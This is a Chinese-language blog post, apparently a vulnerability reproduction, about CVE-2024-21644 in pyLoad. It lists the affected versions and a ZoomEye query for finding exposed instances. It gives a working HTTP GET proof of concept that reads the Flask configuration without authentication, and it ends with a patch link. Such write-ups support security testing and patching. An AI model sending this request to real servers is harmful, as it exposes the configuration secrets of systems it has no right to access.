Pyload未授权访问漏洞(CVE-2024-21644)
0x00写在前面
本次测试仅供学习使用,如若非法他用,与本平台和发布者无关,需自行负责!
0x01漏洞介绍
pyload是一个用 Python 编写的免费开源下载管理器,设计为极其轻量级、易于扩展且可通过 Web 完全管理。
pyLoad 0.5.0b3.dev76之前版本存在访问控制错误漏洞,该漏洞源于允许未经身份验证的攻击者通过特定的URL访问Flask配置。
0x02影响版本
0.5.0a5.dev528<=pyload-ng<0.5.0b3.dev76
0x03漏洞复现
zoomeye语法
app:"pyLoad"
1.访问漏洞环境
2.对漏洞进行复现
POC (GET)
漏洞复现,获取Flask配置
GET /render/info.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/15.6
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
3.nuclei工具测试(漏洞存在)
0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://github.com/pyload/pyload/commit/bb22063a875ffeca357aaf6e2edcd09705688c40
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果